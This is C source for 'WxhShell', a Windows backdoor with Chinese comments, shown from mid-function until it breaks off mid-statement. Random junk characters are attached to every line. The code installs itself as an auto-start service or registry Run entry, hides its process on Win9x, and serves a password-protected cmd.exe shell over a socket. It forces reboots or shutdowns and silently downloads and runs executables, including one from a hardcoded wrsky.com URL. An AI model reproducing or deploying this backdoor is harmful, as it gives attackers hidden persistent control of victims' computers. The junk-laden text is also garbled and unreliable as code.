  case 'd': { g#l!b%$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 35AH|U7b  
    if(Boot(SHUTDOWN)) tC$+;_=+F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j|o/>^ 'e  
    else { ? eI)m  
    closesocket(wsh); N4-Y0BO  
    ExitThread(0); .Wp(@l'Hd  
    } | B$JX'_  
    break; *gGw/jA/  
    } Lw^%<.DM+t  
  // 获取shell QD^=;!  
  case 's': { )>b1%x} =  
    CmdShell(wsh); 5N6R%2,A  
    closesocket(wsh); jt323hHth  
    ExitThread(0); fM:bXR2Y'  
    break; kO^  
  } 2,B^OZmw  
  // 退出 ~Ni-}p  
  case 'x': { Wt!;Y,1 s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); imwn)]LR  
    CloseIt(wsh); kn HrMD;  
    break; XAF]B,h=  
    } QjJlVlp  
  // 离开 veh=^K%G |  
  case 'q': { ]5`A8-Q@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uQW[2f  
    closesocket(wsh); K^GvU0\  
    WSACleanup(); Gv8Z  
    exit(1); /i Xl] <  
    break; F$JA IL{W  
        } %Gu=Dkz  
  } RiZ}cd  
  } Qd% (]L[N.  
cw~GH  
  // 提示信息 l,A\]QDvl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e*( _Cvxp  
} a04S&ezj  
  } {/?{UbU  
em^2\*sxpA  
  return; WRAv>s9  
} >[T6/#M  
}c4F}Cy  
// shell模块句柄 z=jzr=lP  
int CmdShell(SOCKET sock) e 1bV&  
{ e2;=OoBK  
STARTUPINFO si; l<sWM$ez  
ZeroMemory(&si,sizeof(si)); \B/( H)Cd*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (lYC2i_b#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l`0JL7  
PROCESS_INFORMATION ProcessInfo; ao2o!-?!t  
char cmdline[]="cmd"; hdM?Uoo(4a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *x 2u  
  return 0; 3+U2oI:I  
} X88I|Z'HIh  
r[j@@[)"  
// 自身启动模式 Cd p_niF  
int StartFromService(void) !g>mjD  
{ 5=8_Le  
typedef struct hiR+cPSF  
{ l>HB0o  
  DWORD ExitStatus; =5%}CbUU)4  
  DWORD PebBaseAddress; s\3ZE11L  
  DWORD AffinityMask; ;4oKF7]   
  DWORD BasePriority; a,M/i&.e`  
  ULONG UniqueProcessId; mn{R>  
  ULONG InheritedFromUniqueProcessId; Xa>c ]j  
}   PROCESS_BASIC_INFORMATION; RhjU^,%  
X)9|ZF2`  
PROCNTQSIP NtQueryInformationProcess; o+<hI  
4=* ml}RP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :NH '>'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^'sOWIzeiY  
&j{I G`Trl  
  HANDLE             hProcess; F20%r 0  
  PROCESS_BASIC_INFORMATION pbi; L#IY6t  
EJaO"9 (  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gn10)Uf8X  
  if(NULL == hInst ) return 0; A#79$[>w  
N *n?hN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ><6g-+*k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); % =v<3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *qIns/@  
,?GAFg K:  
  if (!NtQueryInformationProcess) return 0; #: ,X^"w3  
<lSo7NkR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DB] ]6  
  if(!hProcess) return 0; d k|X&)xTJ  
[vCZD8"Y8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U:IeMf-;  
I)G.tJZ e  
  CloseHandle(hProcess); W?12'EG}xa  
JlH5 <:#PN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OPKmYzf@b  
if(hProcess==NULL) return 0; {+QQ<)l^tJ  
jRjQDK_"ka  
HMODULE hMod; Rmh,P>  
char procName[255]; <,T#* fg  
unsigned long cbNeeded; MS%h`Ypo  
8ax3"G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'DH_ihZ  
nZS*"O#L  
  CloseHandle(hProcess); gi\UNT9x  
K9'AYFse  
if(strstr(procName,"services")) return 1; // 以服务启动 hN:2(x  
C1~Ro9si  
  return 0; // 注册表启动 ,rQPs  
} MWc{7,  
_~ 7cn  
// 主模块 =j1Q5@vS  
int StartWxhshell(LPSTR lpCmdLine) 3+%L[fW`/  
{ |G-o&m"  
  SOCKET wsl; 'P-FeN^  
BOOL val=TRUE; RK=YFE 0  
  int port=0; W&a<Q)o*I  
  struct sockaddr_in door; {D&:^f  
x"PMi[4  
  if(wscfg.ws_autoins) Install(); =CO#Q$  
"[ ]72PC  
port=atoi(lpCmdLine); af7\2 g3*  
~E7=c3:"  
if(port<=0) port=wscfg.ws_port; r+Y]S-o:  
8,(5Q  
  WSADATA data; !O8vr4=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L_7-y92<W  
iW <B1'dp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YPav5<{a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P}Ule|&LK  
  door.sin_family = AF_INET; 5 %aT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $;+`sVG  
  door.sin_port = htons(port); o//PlG~  
T k>N4yq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $yg}HS7HC  
closesocket(wsl); !7[Rhk7bW  
return 1; dCMWv~>  
} ~4~>; e  
kv3jbSKCT  
  if(listen(wsl,2) == INVALID_SOCKET) { axi%5:I  
closesocket(wsl); }+f@$L  
return 1; re} P  
} -{fbZk&A  
  Wxhshell(wsl); uU00ZPS*G[  
  WSACleanup(); Nb;Yti@Y.  
1Q$Z'E}SK@  
return 0; ;zvg]  %  
=Wk!mGc  
} u7<s_M3%N  
A@"CrVE  
// 以NT服务方式启动 L pdp'9>I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m)?cXM  
{ eJ!a8   
DWORD   status = 0; D8Vb@5MW  
  DWORD   specificError = 0xfffffff; T|[ o  
#| Et9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w_i$/`i+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6*2z^P9FRj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I6FglVQ6  
  serviceStatus.dwWin32ExitCode     = 0; N5[fw z w  
  serviceStatus.dwServiceSpecificExitCode = 0; } Pc6_#  
  serviceStatus.dwCheckPoint       = 0; &wZ:$lK#o  
  serviceStatus.dwWaitHint       = 0; p,9eZUGy  
 G l*C"V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "I]% aK0  
  if (hServiceStatusHandle==0) return; yeNC-U<  
5ff66CRw  
status = GetLastError(); # 1,(I  
  if (status!=NO_ERROR) a4! AvG  
{ EkqsE$52  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x3my8'h@  
    serviceStatus.dwCheckPoint       = 0; KdOy3O_5N  
    serviceStatus.dwWaitHint       = 0; ]7^YPFc+  
    serviceStatus.dwWin32ExitCode     = status; hQgi--Msw'  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,*V{g pC7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !g~xn2m$R  
    return; |&TRN1  
  } l>M&S^/s j  
@Tr8.4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vf(\?Js ,  
  serviceStatus.dwCheckPoint       = 0; kqA`d  
  serviceStatus.dwWaitHint       = 0; `riK[@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ( UV8M\  
} s?5(E}  
Tl Z|E '_C  
// 处理NT服务事件,比如:启动、停止 \^3\_T&6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -U=bC   
{ mOyBSOad4  
switch(fdwControl) ?ei7jM",  
{ QSy=JC9  
case SERVICE_CONTROL_STOP: /cDla5eej  
  serviceStatus.dwWin32ExitCode = 0; ` oYrW0Vm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ' 7>V4\"  
  serviceStatus.dwCheckPoint   = 0; PhM3?$  
  serviceStatus.dwWaitHint     = 0; nK6{_Y>  
  { C (_xqn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u*&wMR>Crf  
  } 7{X I^I:n  
  return; z@biX  
case SERVICE_CONTROL_PAUSE: I "9S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !UlG! 820  
  break; *B`wQhB%  
case SERVICE_CONTROL_CONTINUE: O&irgc!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %Ow,.+m  
  break; 1NT@}j~/  
case SERVICE_CONTROL_INTERROGATE: z/N~HSh!d  
  break; 5o2;26c  
}; f|_iHY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ssr P  
} m ^Btr  
^'C1VQ%  
// 标准应用程序主函数 ; eq^m,oz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )}7rM6hv  
{ }S$]MY,*  
!B(6  
// 获取操作系统版本 m4|9p{E  
OsIsNt=GetOsVer(); A3bE3Fk$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !["WnF{5eC  
H{`S/>)[   
  // 从命令行安装 m> ?OjA!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2bfKD'!aH  
4?,N;Q  
  // 下载执行文件 +=^10D  
if(wscfg.ws_downexe) { 'cT R<LVo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $v+Q~\'  
  WinExec(wscfg.ws_filenam,SW_HIDE); N'!a{rF  
} F\Ex$:%~  
aDTNr/I  
if(!OsIsNt) { BD9W-mF  
// 如果时win9x,隐藏进程并且设置为注册表启动 {(A Ys*5  
HideProc(); 'ac %]}`-  
StartWxhshell(lpCmdLine); M"#xjP.  
} 9dr\=e6) C  
else z'MOuz~Y  
  if(StartFromService()) u:3~Ius  
  // 以服务方式启动 zVYX#- nv  
  StartServiceCtrlDispatcher(DispatchTable); sC48o'8(  
else AY{caM  
  // 普通方式启动 ?x"<0k1g  
  StartWxhshell(lpCmdLine); Id(L}i(X  
{d(@o!;Fi  
return 0; frk(2C8T  
} $+)SW {7  
[F/>pL5U$  
;zIAh[z  
u)M dFz  
=========================================== B3]q*ERAo  
NB;8 e>8  
noC ]&4b  
E=3<F_3W  
YUat}-S  
ne4hR]:  
" I8)x 0)Lx  
9^<t0oY  
#include <stdio.h> S v$%-x^t  
#include <string.h> *f=H#  
#include <windows.h> 1j "/}0fx  
#include <winsock2.h> I1S*=^Z_U  
#include <winsvc.h> DDyeN uK  
#include <urlmon.h> V.6h6B!vB  
p@y?xZS  
#pragma comment (lib, "Ws2_32.lib") %:sQ[^0  
#pragma comment (lib, "urlmon.lib") DZ |0CB~  
+dcBh Dq  
#define MAX_USER   100 // 最大客户端连接数 Q-_&5/G  
#define BUF_SOCK   200 // sock buffer htj:Z:C`  
#define KEY_BUFF   255 // 输入 buffer #TM+Vd$  
Lf{9=;  
#define REBOOT     0   // 重启 /mX/ "~  
#define SHUTDOWN   1   // 关机 L]3 V)`}  
>f JY  
#define DEF_PORT   5000 // 监听端口 Lqb9gUJ:U  
Fx*iAH\e  
#define REG_LEN     16   // 注册表键长度 d:.S]OI0  
#define SVC_LEN     80   // NT服务名长度 x}$SB%9/  
Ly0^ L-~|  
// 从dll定义API *Fb]lM7D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k*d0ws#<l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @k>}h\w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %{WS7(si  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9}p?h1NrY  
J wL}|o6  
// wxhshell配置信息 OZ3iH%  
struct WSCFG { -/Pg[Lx7Pb  
  int ws_port;         // 监听端口 c"Ddw'?e  
  char ws_passstr[REG_LEN]; // 口令 $n\{6Rwb  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1%68Pnqk  
  char ws_regname[REG_LEN]; // 注册表键名 ABw:SQ6=Q  
  char ws_svcname[REG_LEN]; // 服务名 U}<5%"!;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E*'sk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kAA1+rG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :*Lr(-N-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7)tkqfb]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~v"4;A 6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "`qmeZ$rg  
uT:'Kkb!  
}; :jlKj}4A  
GX?R# cf  
// default Wxhshell configuration ce@1#}*  
struct WSCFG wscfg={DEF_PORT, ~(OG3`W!  
    "xuhuanlingzhe", {Z0(V"Q  
    1, #d2XVpO[0  
    "Wxhshell", Hd]o?q\  
    "Wxhshell", .\XFhOsa  
            "WxhShell Service", ^3"~ T  
    "Wrsky Windows CmdShell Service", Wu3or"lcw*  
    "Please Input Your Password: ", *:S_v.Y3"  
  1, $p:RnH\H1  
  "http://www.wrsky.com/wxhshell.exe", vy&'A$ H  
  "Wxhshell.exe" sG{fxha  
    }; '/8{Mx+  
SO @d\H  
// 消息定义模块 n@|5PI"bx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5My4a9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D$@5$./  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qF'lh  
char *msg_ws_ext="\n\rExit."; oGt,^!V1  
char *msg_ws_end="\n\rQuit."; 1T&NU  
char *msg_ws_boot="\n\rReboot..."; )` ~"o*M  
char *msg_ws_poff="\n\rShutdown..."; {Tx"G9  
char *msg_ws_down="\n\rSave to "; U; -2)+  
!\|_,pSB  
char *msg_ws_err="\n\rErr!"; LCBP9Rftvd  
char *msg_ws_ok="\n\rOK!"; U9"g;t+/   
w5fVug/;P  
char ExeFile[MAX_PATH]; #uTNf78X  
int nUser = 0; _L?MYkD  
HANDLE handles[MAX_USER]; )Y4;@pEU  
int OsIsNt; W]Bc7JM]T+  
#gW"k;7P  
SERVICE_STATUS       serviceStatus; 8/W(jVO(-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7PTw'+{  
nv$>iJ^~H  
// 函数声明 5j'7V1:2  
int Install(void); jW]Q-  
int Uninstall(void); BoJpf8e'-e  
int DownloadFile(char *sURL, SOCKET wsh); bu0i #  
int Boot(int flag); zF: :?L~  
void HideProc(void); M%&1j >d  
int GetOsVer(void); +;r1AR1)x  
int Wxhshell(SOCKET wsl); U]/iPG &_  
void TalkWithClient(void *cs); 0zQ~'x  
int CmdShell(SOCKET sock); Q1kZ+b&  
int StartFromService(void); XLHi  
int StartWxhshell(LPSTR lpCmdLine); (KG2X  
X$r5KJU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +O$`8a)m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aSse' C<a  
1t+uMhy*y  
// 数据结构和表定义 L6d^e53AP  
SERVICE_TABLE_ENTRY DispatchTable[] = -@7?N6~qZx  
{ CFK{.{d]B  
{wscfg.ws_svcname, NTServiceMain}, |P_voht  
{NULL, NULL} 3+[;  
}; g'X{  
88x2Hf5I  
// 自我安装 "L4ZE4|)  
int Install(void) GJs{t1 E  
{ ]S0=&x@,  
  char svExeFile[MAX_PATH]; z}BuR*WSY{  
  HKEY key; K<wg-JgA  
  strcpy(svExeFile,ExeFile); &/m0N\n?  
"+XF'ZO  
// 如果是win9x系统,修改注册表设为自启动 kz0pX- @b  
if(!OsIsNt) { #~}4< 18  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m@Hg:DY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O0l1AX"  
  RegCloseKey(key); hy&WG&qf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6;C2^J@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N)X 3pWC8  
  RegCloseKey(key); [n]C  
  return 0; Six2{b)p  
    } xs 1V?0  
  } 8Y"R@'~  
} E]w2 {%  
else { ?_-5W9  
=W*Ro+wWb  
// 如果是NT以上系统,安装为系统服务 rS>@>8k2,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w`GjQIA  
if (schSCManager!=0) zK_Q^M`  
{ ''^2rF^  
  SC_HANDLE schService = CreateService 73j\!x  
  ( }!uwWBw`  
  schSCManager, Gq=tR`.  
  wscfg.ws_svcname, *j~ObE_y  
  wscfg.ws_svcdisp, ECsb?n7e  
  SERVICE_ALL_ACCESS, fJ  GwT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j'x@P+A  
  SERVICE_AUTO_START, -!lSk?l  
  SERVICE_ERROR_NORMAL, g es-nG-  
  svExeFile, lb{X6_.  
  NULL, !c"EgP+  
  NULL, uS<og P  
  NULL, qWU59:d^{  
  NULL, y@h v#;  
  NULL Xv+!) j<  
  ); QVF561Yz  
  if (schService!=0) (%j V [Q  
  { A(9$!%#+L  
  CloseServiceHandle(schService); /&H l62Ak  
  CloseServiceHandle(schSCManager); Py`7)S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |Ed?s  
  strcat(svExeFile,wscfg.ws_svcname); w1EB>!<;tj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Zd| u>tn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1@t8i?:h  
  RegCloseKey(key); v4]#Nc$~T  
  return 0; ),>whCtsI  
    } hbe";(  
  } _WGWU7h  
  CloseServiceHandle(schSCManager); vL#I+_ 2  
} oj=% < a  
} 2Akh/pb  
lDL(,ZZS`  
return 1; ~\*wt(o  
} ' %&-`/x  
SB|Cr:wM  
// 自我卸载 >]HvXEdNZ|  
int Uninstall(void) ta@fNS4  
{ Sim$:5P  
  HKEY key; 8Ow#W5_3|  
[F!h&M0z  
if(!OsIsNt) { q>s`G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } rX)A\ g6  
  RegDeleteValue(key,wscfg.ws_regname); (&=3Y8  
  RegCloseKey(key); 4Wu(Tps  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DoNN;^H  
  RegDeleteValue(key,wscfg.ws_regname); A4*D3\>%u  
  RegCloseKey(key); D;hJK-Y  
  return 0; 6>3zD)tG  
  } de9e7.(2  
} zjTCq; G  
} \maj5VlJ  
else { x6Tpt^N}  
2uT@jfj:r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y=i_2R2e2  
if (schSCManager!=0) KGf@d*ZOMz  
{ k$.l^H u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {z9,CwJan?  
  if (schService!=0) qYPgn _  
  { -UWyBM3c@  
  if(DeleteService(schService)!=0) { 7:zoF], s  
  CloseServiceHandle(schService); =Qn8Y`U  
  CloseServiceHandle(schSCManager); iOk`_LG#  
  return 0; 4QE")Ge  
  } 7H4\AG\>  
  CloseServiceHandle(schService); @nnX{$YX  
  } 6o^O%:0g  
  CloseServiceHandle(schSCManager); EUq6) K  
} >CqZ75>  
} "^ aSONz  
oore:`m;  
return 1; "AlR%:]24~  
} LWxP}? =  
[B^V{nUBc  
// 从指定url下载文件 &Z}}9dd  
int DownloadFile(char *sURL, SOCKET wsh) a *bc#!e  
{ @7t*X-P.;-  
  HRESULT hr; |}: D_TX  
char seps[]= "/"; [fJxbr"  
char *token; p`S~UBcL.  
char *file; 'X\C/8\  
char myURL[MAX_PATH]; DB'3h7T  
char myFILE[MAX_PATH]; Va4AE)[/*  
KkJE-k*D+w  
strcpy(myURL,sURL); Oiw!d6"Ovq  
  token=strtok(myURL,seps); Ko!a`I2M}  
  while(token!=NULL) ]E*xn  
  { ;[7#h8  
    file=token; {M23a _t\  
  token=strtok(NULL,seps); 'N&s$XB,  
  } :4>LtfA  
)"Wy/P  
GetCurrentDirectory(MAX_PATH,myFILE); H:t2;Z'  
strcat(myFILE, "\\"); eH9-GGr  
strcat(myFILE, file); rc}=`D`  
  send(wsh,myFILE,strlen(myFILE),0); dCWq~[[  
send(wsh,"...",3,0); T2to!*T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e63io0g>  
  if(hr==S_OK) q#0yu"<  
return 0; pW&8 =Ew  
else vX*kvEG  
return 1; C?rb}(m  
']sIU;h3  
} ZV!*ZpTe~  
HmV JkkksJ  
// 系统电源模块 #b1/2=PA  
int Boot(int flag) ai)?RF  
{ @iVEnb.'  
  HANDLE hToken; /b{Ufo3v  
  TOKEN_PRIVILEGES tkp; i;67< f}-  
=I$:-[(  
  if(OsIsNt) { G)=+Nt\ *  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^56#{~%^?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?o d*"M  
    tkp.PrivilegeCount = 1; 1! R:}r3t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5?TjuGc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %Gjjl*`E  
if(flag==REBOOT) { v8THJf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UmCIjwk  
  return 0; 6w0r)  
} O.?q8T)n82  
else { (k %0|%eR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L ~$&+g  
  return 0; H"rIOoxf  
} Bs-MoT!  
  } ^p~3H  
  else { (!<G` ;}u  
if(flag==REBOOT) { =Y R+`[bfI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EkP(] F  
  return 0; )<L?3Jjt5  
} "oCXG`.k&  
else { B)ibxM(n*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M-5zsN  
  return 0; !?m8UE  
} =(,dI [v  
} \'x?VVw  
~ [=2d a  
return 1; \fC}l Ll  
} .7H* F9  
`"|u NVn  
// win9x进程隐藏模块 G]I^zd&P  
void HideProc(void) ?tYc2R9x6"  
{ d\rs/ee  
;hPo5uZQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,,(BW7(  
  if ( hKernel != NULL ) SVT'fPm1M  
  { QsPL^ Ny  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4!<[5+.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Oc^bbC  
    FreeLibrary(hKernel); oFS)3.  
  } Z9lfd6MU,  
mvBUm-X  
return; H{*R(S<I  
} ;gW?Fnry;  
nB , &m&  
// 获取操作系统版本 b .v^:M  
int GetOsVer(void) 9,Ug  
{ (2%z9W  
  OSVERSIONINFO winfo; 86f/R c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b%I2ig  
  GetVersionEx(&winfo); .sbV<ulbc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M{~KT3c  
  return 1; Fy]j33E  
  else 4Yl:1rz  
  return 0; AlT04H   
} q0QB[)AP  
1)h+xY  
// 客户端句柄模块 p"/B3  
int Wxhshell(SOCKET wsl) sm @Ot~;  
{ n&}ILLc  
  SOCKET wsh; #)$@Kvm  
  struct sockaddr_in client; qn@:A2e d  
  DWORD myID; 2;=xH t  
<7sGA{  
  while(nUser<MAX_USER) <o\I C?A  
{ =Qw`F0t  
  int nSize=sizeof(client); sMAu*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =ZN~*HLl}  
  if(wsh==INVALID_SOCKET) return 1; L-(.v*  
fmq9u(!R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZfN%JJOz(  
if(handles[nUser]==0) S%m$LM]NCg  
  closesocket(wsh); eI*o9k$Qs  
else :w 4Sba3  
  nUser++; mw&)j R$&  
  } tsu Mt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )}jXC4  
Az>gaJ/_  
  return 0; =`6_{<&  
} #Y9~ Xp^.  
,_2ZKO/k$  
// 关闭 socket :*/`"M)'  
void CloseIt(SOCKET wsh) Ta3qEVs  
{ ln6Hr^@5  
closesocket(wsh); `>cBR,)r  
nUser--; weky 5(:  
ExitThread(0); P ||:?3IH  
} 2hI|] p  
*_7%n-k  
// 客户端请求句柄 V0x;*)\PYm  
void TalkWithClient(void *cs) 8z h{?0  
{ ri k0F  
$Y5m"wySZ  
  SOCKET wsh=(SOCKET)cs; d% :   
  char pwd[SVC_LEN]; pT`oC&  
  char cmd[KEY_BUFF]; O o+pi$W  
char chr[1]; UMbM3m=\  
int i,j; ^5 sO;vf  
v5;V$EGD&  
  while (nUser < MAX_USER) { %Cz&7qf"  
na1*^S`[  
if(wscfg.ws_passstr) { I ;Sm<P7*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? @Y'_f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cRhu]fv()  
  //ZeroMemory(pwd,KEY_BUFF); &%Lps_+fJ  
      i=0; Akbt%&  
  while(i<SVC_LEN) { Ma,2_oq+  
^xwnX=Np  
  // 设置超时 usR: -1{  
  fd_set FdRead; e1 j3X\ \  
  struct timeval TimeOut; >3a<#s{%  
  FD_ZERO(&FdRead); (}u2) 9  
  FD_SET(wsh,&FdRead); ]l WEdf+  
  TimeOut.tv_sec=8; vC9Qe ]f  
  TimeOut.tv_usec=0; $ RDwy)9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x2bKFJ>e@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JXIxk"m  
!w8t`Z['  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i/%+x-#  
  pwd=chr[0]; -6OgM}  
  if(chr[0]==0xd || chr[0]==0xa) { S3iXG @  
  pwd=0; ~S,R`wo  
  break; xQ=sZv^M  
  } |99/?T-QW  
  i++; jLRh/pbz4  
    } :d ts>  
8(Ab NQ  
  // 如果是非法用户,关闭 socket y7quKv7L}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *|T]('xwC  
} Xv%1W? >@/  
M;\iL?,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qQu}4Ye>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W h^9 Aq  
}9GD'N?4  
while(1) { |ZAR!u&0  
Oist>A$Z  
  ZeroMemory(cmd,KEY_BUFF); S}Q/CT?au  
VM1`:1Z:$  
      // 自动支持客户端 telnet标准   j<-#a^jb  
  j=0; mu[:b  
  while(j<KEY_BUFF) { Qt@_C*,P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +y$%S4>0tp  
  cmd[j]=chr[0]; ;p !|E3o.  
  if(chr[0]==0xa || chr[0]==0xd) { +EZ Lic  
  cmd[j]=0; SCCBTpmf2B  
  break;  a9ko3L  
  } gua +-##)  
  j++; b V5{  
    } 2L<iIBSJwm  
Be=J*D!E=>  
  // 下载文件 H <|ilL'fX  
  if(strstr(cmd,"http://")) { kf8-#Q/B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \~]HfDu  
  if(DownloadFile(cmd,wsh)) R;wq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *oC],4y~D  
  else xV_,R'l  
